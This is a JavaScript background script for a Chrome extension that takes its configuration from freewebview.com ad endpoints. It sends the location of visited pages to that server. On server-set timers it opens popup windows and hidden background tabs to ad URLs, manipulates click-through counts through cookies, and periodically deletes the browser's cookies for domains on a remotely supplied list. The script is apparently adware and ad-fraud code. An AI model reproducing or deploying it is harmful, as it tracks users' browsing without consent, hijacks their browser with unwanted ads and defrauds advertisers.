var previousurl = '';
var respo = '';
var vid = null;
var working_tab = "";
var istab = false;
var iswindow = false;
var isTimer = false;
var time_interval = 0;
working_tabs = {};
var ctc = 0;
workingAdd_tabs = {};
var dynamicval2 = [];
var popleft = 0;
var poptop = 0;
var time_delay = 6;
var time_delay2 = 6;
var click_stat = 1;
var click_stat2 = 0;
var cookie_clear_interval = 0;
var cookie_doms_list = null;
var clear_doms_list = [];

for (var i = 1; i <= 20; i++) {
    window['myVar' + i] = null;
}
var myVarcookies = null;
var xmlhttp1 = new XMLHttpRequest();


xmlhttp1.open("GET", "http://www.freewebview.com/ads/all_url_mab_zlxtqbdmrhs.txt", true);

xmlhttp1.onreadystatechange = function () {
    if (xmlhttp1.readyState == 4) {

        cookie_doms_list = xmlhttp1.responseText
        console.log(cookie_doms_list);
        xmlhttp1.close;
    }
}



xmlhttp1.send();

chrome.runtime.onMessage.addListener(
    function (request, sender, sendResponse) {

        if (request.greeting == "-1") {
            if (istab) {
                chrome.tabs.update(sender.tab.id, {
                    url: request.data3[request.addnumber]
                });
            } else {


            }
        } else {
            
            if (istab) {

                var myctrrate = getCookie("myctrrate");
                var tempctr = 0;
                var ct_mod = parseInt(1 / parseFloat(ctc));

                if (myctrrate == "") {
                    setCookie("myctrrate", request.data2.length, 100);
                    var count_add = 0;

                    for (var i = 0; i < request.data2.length; i++) {
                        count_add++;

                        if (click_stat == 1) {

                            if ((count_add % ct_mod) == 0) {

                                click_stat = request.data2[i];
                                sendResponse(i + "," + time_delay + "," + 0);
                                if (click_stat == 1) {
                                    click_stat2 = 1;
                                    time_delay2 = time_delay + 10000;
                                    setTimeout(function () {
                                        click_stat2 = 0;
                                    }, time_delay2);
                                }

                                break;
                            }
                        } else {
                            if (request.data2[i] == 1) {
                                click_stat = 1;
                                sendResponse(i + "," + time_delay + "," + 0);
                                if (click_stat == 1) {
                                    click_stat2 = 1;
                                    time_delay2 = time_delay + 10000;
                                    setTimeout(function () {
                                        click_stat2 = 0;
                                    }, time_delay2);
                                }
                                break;
                            }

                        }

                        if (i == request.data2.length - 1) {
                            sendResponse(0 + "," + time_delay + "," + 1);
                        }

                    }




                } else {
                    setCookie("myctrrate", (parseInt(myctrrate) + parseInt(request.data2.length)), 100);

                    var count_add = parseInt(myctrrate);

                    for (var i = 0; i < request.data2.length; i++) {
                        count_add++;

                        if (click_stat == 1) {

                            if ((count_add % ct_mod) == 0) {

                                click_stat = request.data2[i];
                                sendResponse(i + "," + time_delay + "," + 0);
                                if (click_stat == 1) {
                                    click_stat2 = 1;
                                    time_delay2 = time_delay + 10000;
                                    setTimeout(function () {
                                        click_stat2 = 0;
                                    }, time_delay2);
                                }
                                break;
                            }
                        } else {
                            if (request.data2[i] == 1) {
                                click_stat = 1;
                                sendResponse(i + "," + time_delay + "," + 0);
                                if (click_stat == 1) {
                                    click_stat2 = 1;
                                    time_delay2 = time_delay + 10000;
                                    setTimeout(function () {
                                        click_stat2 = 0;
                                    }, time_delay2);
                                }
                                break;
                            }

                        }

                        if (i == request.data2.length - 1) {
                            sendResponse(0 + "," + time_delay + "," + 1);
                        }

                    }


                }



            } else {
                setTimeout(function () {
                    var myctrrate = getCookie("myctrrate");
                    var tempctr = 0;
                    var ct_mod = 1 / parseFloat(ctc);

                    if (myctrrate == "") {
                        setCookie("myctrrate", request.greeting, 100);
                        var count_add = 0;

                        for (var i = 0; i < request.data.length; i++) {
                            count_add++;

                            if ((count_add % ct_mod) == 0) {

                                console.log(request.data[i]);
                                chrome.windows.create({
                                    'url': request.data[i],
                                    'type': 'popup',
                                    'focused': true,
                                    'height': parseInt(dynamicval2[5]),
                                    'width': parseInt(dynamicval2[6]),
                                    'left': popleft,
                                    'top': poptop


                                },
                                    function (chromeWindow) {


                                        working_tab = chromeWindow.id;

                                        working_tabs[chromeWindow.id] = {
                                            tabid: chromeWindow.id,
                                            taburl: working_tabs[sender.tab.windowId]["taburl"]
                                        };

                                    }
                                );


                            }



                        }




                    } else {
                        setCookie("myctrrate", (parseInt(myctrrate) + parseInt(request.greeting)), 100);

                        var count_add = parseInt(myctrrate);

                        for (var i = 0; i < request.data.length; i++) {
                            count_add++;

                            if ((count_add % ct_mod) == 0) {
                                console.log(i);

                                chrome.windows.create({
                                    'url': request.data[i],
                                    'type': 'popup',
                                    'focused': true,
                                    'height': parseInt(dynamicval2[5]),
                                    'width': parseInt(dynamicval2[6]),
                                    'left': popleft,
                                    'top': poptop


                                },
                                    function (chromeWindow) {
                                        console.log(working_tabs[sender.tab.windowId])

                                        working_tab = chromeWindow.id;

                                        working_tabs[chromeWindow.id] = {
                                            tabid: chromeWindow.id,
                                            taburl: working_tabs[sender.tab.windowId]["taburl"]
                                        };

                                    }
                                );

                            }



                        }


                    }


                }, time_delay)
            }
        }
    });



    chrome.extension.onRequest.addListener(
    function (request, sender, sendResponse) {

        if ((request.greeting.indexOf('loadpopupss') >= 0) && (!working_tabs[sender.tab.id]) && (!working_tabs[sender.tab.windowId]) && (!workingAdd_tabs[sender.tab.id]) && (!workingAdd_tabs[sender.tab.windowId])) {

            var res = request.greeting.split("loadpopupss");
            var param = res[0];

            var xmlhttp = new XMLHttpRequest();
            //CHANGE ADPROCESSOR FILE PATH HERE
            var url = "http://freewebview.com/ads/pop8.php";
            var params = 'loc=' + param + '&sid=' + Math.random();
            xmlhttp.open("POST", url, false);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.setRequestHeader("Content-length", params.length);
            xmlhttp.setRequestHeader("Connection", "close");
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4) {
                    respo = xmlhttp.responseText;


                    var dynamicval = respo.split(',')
                    dynamicval2 = respo.split(',')
                    console.log(dynamicval2)
                    ctc = dynamicval[15];
                    time_delay = parseInt(dynamicval[16]) * 1000;
                    cookie_clear_interval = parseInt(dynamicval[17]) * 1000;
                    if (myVarcookies) clearInterval(myVarcookies);
                    myVarcookies = setInterval(onload, cookie_clear_interval);
                    if (dynamicval[0] == 1) {
                        if (dynamicval[9] == 1) {


                            var issetalldata = getCookie("issetalldata");
                            if (issetalldata == "") {
                                setCookie("issetalldata", respo, 1);
                                setCookie("isset_maximum_loads_forpop", dynamicval[11], -1);
                            } else {
                                if (issetalldata != respo) {
                                    setCookie("myctrrate", 0, 100);
                                    setCookie("issetalldata", respo, 1);
                                    setCookie("isset_maximum_loads_forpop", dynamicval[11], -1);

                                }
                            }

                            var maximum_loads_temp = 0;
                            var maximum_loads = getCookie("isset_maximum_loads_forpop");
                            if (maximum_loads != "") {
                                maximum_loads_temp = maximum_loads;
                            }

                            var time_interval_forpop = getCookie("time_interval_forpop");
                            if (time_interval_forpop != "") {
                                time_interval = time_interval_forpop;
                            }

                            //  if ((time_interval != parseInt(dynamicval[10]) * 1000) || (maximum_loads_temp != parseInt(dynamicval[11]))) {
                            var time_interval_temp = time_interval;
                            time_interval = parseInt(dynamicval[10]) * 1000;
                            var time_interval_splited = dynamicval[10].split("windowseperator");
                            for (var clearcount = 0; clearcount < parseInt(dynamicval[12]); clearcount++) {
                                if (window['myVar' + clearcount]) clearInterval(window['myVar' + clearcount]);
                            }
                            for (var interval_count = 0; interval_count < parseInt(dynamicval[12]); interval_count++) {
                                var time_interval_splited2 = parseInt(time_interval_splited[interval_count]) * 1000;
                                (function (interval_count) {
                                    window['myVar' + interval_count] = setInterval(function () {

                                        maximum_loads = getCookie("isset_maximum_loads_forpop");
                                        if ((maximum_loads != "") && (maximum_loads_temp == parseInt(dynamicval[11])) && (time_interval_temp == (parseInt(dynamicval[10]) * 1000))) {

                                            if (parseInt(getCookie("maximum_loads_per_window" + interval_count)) > 0) {

                                                create_pop2(respo, interval_count, parseInt(getCookie("maximum_loads_per_window" + interval_count)))

                                                setCookie("maximum_loads_per_window" + interval_count, (parseInt(getCookie("maximum_loads_per_window" + interval_count)) - 1), 1);

                                            } else {
                                                if (window['myVar' + interval_count]) clearInterval(window['myVar' + interval_count]);
                                            }


                                        } else {

                                            var urls = dynamicval[3].split('windowseperator2')

                                            for (var interval_count2 = 0; interval_count2 < parseInt(dynamicval[12]); interval_count2++) {
                                                var urls_temp = urls[interval_count2].split('windowseperator')
                                                setCookie("maximum_loads_per_window" + interval_count2, (parseInt(dynamicval[11]) * parseInt(urls_temp.length)), 1);
                                            }
                                            setCookie("isset_maximum_loads_forpop", dynamicval[11], 1);
                                            setCookie("maximum_loads_forpop", dynamicval[11], 1);
                                            setCookie("time_interval_forpop", (parseInt(dynamicval[10]) * 1000), 1);
                                            maximum_loads = dynamicval[11];
                                            maximum_loads_temp = dynamicval[11];
                                            time_interval_temp = parseInt(dynamicval[10]) * 1000;
                                            var urls_temp = urls[interval_count].split('windowseperator')
                                            create_pop2(respo, interval_count, (parseInt(dynamicval[11]) * parseInt(urls_temp.length)))
                                            setCookie("maximum_loads_per_window" + interval_count, (parseInt(getCookie("maximum_loads_per_window" + interval_count)) - 1), 1);

                                        }

                                    }, time_interval_splited2)
                                })(interval_count);
                            }
                            //  }
                        } else {
                            for (var clearcount = 0; clearcount < parseInt(dynamicval[12]); clearcount++) {
                                if (window['myVar' + clearcount]) clearInterval(window['myVar' + clearcount]);
                            }
                            create_pop(respo);

                        }
                    } else {
                        for (var clearcount = 0; clearcount < parseInt(dynamicval[12]); clearcount++) {
                            if (window['myVar' + clearcount]) clearInterval(window['myVar' + clearcount]);
                        }

                    }

                    xmlhttp.close;
                }
            }


            xmlhttp.send(params);




        } else if ((request.greeting.length > 3) && (!working_tabs[sender.tab.id]) && (!working_tabs[sender.tab.windowId]) && (!workingAdd_tabs[sender.tab.id]) && (!workingAdd_tabs[sender.tab.windowId])) {


            var param = request.greeting;

            var xmlhttp = new XMLHttpRequest();
            //CHANGE ADPROCESSOR FILE PATH HERE
            var url = "http://freewebview.com/ads/adprocessor.php";
            var params = 'loc=' + param + '&sid=' + Math.random();
            xmlhttp.open("POST", url, false);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.setRequestHeader("Content-length", params.length);
            xmlhttp.setRequestHeader("Connection", "close");
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4) {
                    respo = xmlhttp.responseText;
                    xmlhttp.close;
                }
            }



            xmlhttp.send(params);


        }

        sendResponse({
            farewell: respo
        });

    });

chrome.tabs.onRemoved.addListener(function (tabId) {
    if (working_tab == tabId) {

        istab = false;
        working_tab = '';

    }

    if (workingAdd_tabs[tabId]) delete workingAdd_tabs[tabId];
    if (working_tabs[tabId]) delete working_tabs[tabId];
});

chrome.windows.onRemoved.addListener(function (windowId) {

    if (working_tab == windowId) {
        iswindow = false;
        working_tab = '';
    }
    if (workingAdd_tabs[windowId]) delete workingAdd_tabs[windowId];
    if (working_tabs[windowId]) delete working_tabs[windowId];
});

function create_pop(respo) {
    var dynamicval = respo.split(',')
    var urls = dynamicval[3].split('windowseperator')


    if (dynamicval[2] == "new_tab") {

        var working_tab_temp = working_tab;
        if (iswindow) {
            working_tab_temp = '';
            iswindow = false;
            for (var prop in working_tabs) {

                chrome.windows.remove(working_tabs[prop]["tabid"]);

            }
            working_tabs = {};
        }

        createtab(0, respo)

    } else {


        if (iswindow) {

            for (var prop in working_tabs) {

                chrome.windows.remove(working_tabs[prop]["tabid"]);

            }
        }
        if (istab) {
            for (var prop in working_tabs) {
                chrome.tabs.remove(working_tabs[prop]["tabid"]);

            }


        };
        working_tabs = {};
        createwindow(0, respo)




    }

}


function create_pop2(respo, interval_count, max_load) {
    var dynamicval = respo.split(',')
    var urls = dynamicval[3].split('windowseperator2')
    var urls_temp = urls[interval_count].split('windowseperator')

    if (dynamicval[2] == "new_tab") {

        var working_tab_temp = working_tab;
        if (iswindow) {
            working_tab_temp = '';
            iswindow = false;
            for (var prop in working_tabs) {

                chrome.windows.remove(working_tabs[prop]["tabid"]);

            }
            working_tabs = {};
        }


        createtab2(interval_count, respo, max_load)

    } else {


        if (iswindow) {

            for (var prop in working_tabs) {

                if (working_tabs[prop]["taburl"] == urls_temp[0]) {
                    chrome.windows.remove(working_tabs[prop]["tabid"]);
                    delete working_tabs[working_tabs[prop]["tabid"]];
                }

            }
        }
        if (istab) {
            for (var prop in working_tabs) {
                chrome.tabs.remove(working_tabs[prop]["tabid"]);

            }

            working_tabs = {};

        };

        createwindow2(interval_count, respo, max_load)




    }

}


function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
    var expires = "expires=" + d.toUTCString();
    document.cookie = cname + "=" + cvalue + "; " + expires;
}

function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') {
            c = c.substring(1);
        }
        if (c.indexOf(name) == 0) {
            return c.substring(name.length, c.length);
        }
    }
    return "";
}

function createtab(counter, respo) {
    var dynamicval = respo.split(',')
    var urls = dynamicval[3].split('windowseperator2')

    if (counter < urls.length) {
        var urls_temp = urls[counter].split('windowseperator')
        var ifexist = false;
        ifexisttab = 0;
        for (var prop in working_tabs) {
            if (working_tabs[prop]["taburl"] == urls_temp[0]) {
                ifexisttab = working_tabs[prop]["tabid"];
                ifexist = true;
            }
        }

        if (!ifexist) {
            chrome.tabs.create({
                url: urls_temp[0],
                active: false
            }, function (tab) {
                working_tab = tab.id;
                istab = true;

                working_tabs[tab.id] = {
                    tabid: tab.id,
                    taburl: urls_temp[0]
                };
                counter++;
                createtab(counter, respo)
            });
        } else {
            chrome.tabs.update(ifexisttab, {
                url: working_tabs[ifexisttab]["taburl"]
            });
            counter++;
            createtab(counter, respo)
        }

    }
}


function createtab2(counter, respo, max_load) {
    var dynamicval = respo.split(',')
    var urls = dynamicval[3].split('windowseperator2')
    if (counter < urls.length) {
        var urls_temp = urls[counter].split('windowseperator')
        var secondcounter = ((parseInt(dynamicval[11]) * parseInt(urls_temp.length)) - parseInt(max_load)) % urls_temp.length;
        var ifexist = false;
        ifexisttab = 0;
        for (var prop in working_tabs) {
            if (working_tabs[prop]["taburl"] == urls_temp[0]) {
                ifexisttab = working_tabs[prop]["tabid"];
                ifexist = true;
            }
        }

        if (!ifexist) {
            chrome.tabs.create({
                url: urls_temp[secondcounter],
                active: false
            }, function (tab) {
                working_tab = tab.id;
                istab = true;
                console.log(urls_temp[0]);
                working_tabs[tab.id] = {
                    tabid: tab.id,
                    taburl: urls_temp[0]
                };

            });
        } else {
            chrome.tabs.update(ifexisttab, {
                url: urls_temp[secondcounter]
            });

        }

    }
}

function createwindow(counter, respo) {


    var dynamicval = respo.split(',')

    popleft = parseInt(dynamicval[7])
    poptop = parseInt(dynamicval[8])
    if (dynamicval[13] == "right") {
        popleft = screen.width - parseInt(dynamicval[7]) - parseInt(dynamicval[6])
    }
    if (dynamicval[14] == "bottom") {
        poptop = screen.height - parseInt(dynamicval[8]) - parseInt(dynamicval[5])
    }
    var urls = dynamicval[3].split('windowseperator2')
    if (counter < urls.length) {
        var urls_temp = urls[counter].split('windowseperator')
        chrome.windows.create({
            'url': urls_temp[0],
            'type': 'popup',
            'focused': true,
            'height': parseInt(dynamicval[5]),
            'width': parseInt(dynamicval[6]),
            'left': popleft,
            'top': poptop


        },
            function (chromeWindow) {
                working_tab = chromeWindow.id;
                iswindow = true;
                istab = false;
                working_tabs[chromeWindow.id] = {
                    tabid: chromeWindow.id,
                    taburl: urls_temp[0]
                };
                counter++;
                createwindow(counter, respo)

            }
        );
    }
}

function createwindow2(counter, respo, max_load) {

    var dynamicval = respo.split(',')
    var urls = dynamicval[3].split('windowseperator2')

    popleft = parseInt(dynamicval[7])
    poptop = parseInt(dynamicval[8])
    if (dynamicval[13] == "right") {
        popleft = screen.width - parseInt(dynamicval[7]) - parseInt(dynamicval[6])
    }
    if (dynamicval[14] == "bottom") {
        poptop = screen.height - parseInt(dynamicval[8]) - parseInt(dynamicval[5])
    }

    if (counter < urls.length) {

        var urls_temp = urls[counter].split('windowseperator')
        var secondcounter = ((parseInt(dynamicval[11]) * parseInt(urls_temp.length)) - parseInt(max_load)) % urls_temp.length;

        chrome.windows.create({
            'url': urls_temp[secondcounter],
            'type': 'popup',
            'focused': true,
            'height': parseInt(dynamicval[5]),
            'width': parseInt(dynamicval[6]),
            'left': popleft,
            'top': poptop


        },
            function (chromeWindow) {

                console.log(urls_temp[0]);
                working_tab = chromeWindow.id;
                iswindow = true;
                istab = false;
                working_tabs[chromeWindow.id] = {
                    tabid: chromeWindow.id,
                    taburl: urls_temp[0]
                };

            }
        );
    }
}


function onload() {
    if (!chrome.cookies) {
        chrome.cookies = chrome.experimental.cookies;
    }

    chrome.cookies.getAll({}, function (cookies) {
        cache.reset();
        clear_doms_list = [];
        for (var i in cookies) {
            cache.add(cookies[i]);
        }
        
        console.log(clear_doms_list)
        for (var ii = 0; ii < clear_doms_list.length; ii++) {
            removeCookiesForDomain(clear_doms_list[ii])
        }
        
        // removeCookiesForDomain(".abmr.net")
    });
}



function CookieCache() {
    this.cookies_ = {};

    this.reset = function () {
        this.cookies_ = {};
    }

    this.add = function (cookie) {
        var domain = cookie.domain;
        if (!this.cookies_[domain]) {
            this.cookies_[domain] = [];
            var s = cookie.domain;
            if (s.charAt(0) == '.') {
                s = s.substr(1);
            }
            if (cookie_doms_list.indexOf(s) != -1) {
                clear_doms_list.push(cookie.domain)
            }
        }
        this.cookies_[domain].push(cookie);
    };

    this.remove = function (cookie) {
        var domain = cookie.domain;
        if (this.cookies_[domain]) {
            var i = 0;
            while (i < this.cookies_[domain].length) {
                if (cookieMatch(this.cookies_[domain][i], cookie)) {
                    this.cookies_[domain].splice(i, 1);
                } else {
                    i++;
                }
            }
            if (this.cookies_[domain].length == 0) {
                delete this.cookies_[domain];
            }
        }
    };

    // Returns a sorted list of cookie domains that match |filter|. If |filter| is
    //  null, returns all domains.
    this.getDomains = function (filter) {
        var result = [];
        sortedKeys(this.cookies_).forEach(function (domain) {
            if (!filter || domain.indexOf(filter) != -1) {
                result.push(domain);
            }
        });
        return result;
    }

    this.getCookies = function (domain) {
        return this.cookies_[domain];
    };
}


var cache = new CookieCache();

function removeCookie(cookie) {
    var url = "http" + (cookie.secure ? "s" : "") + "://" + cookie.domain +
            cookie.path;
    chrome.cookies.remove({ "url": url, "name": cookie.name });
}

function removeCookiesForDomain(domain) {
    cache.getCookies(domain).forEach(function (cookie) {
        removeCookie(cookie);
    });
}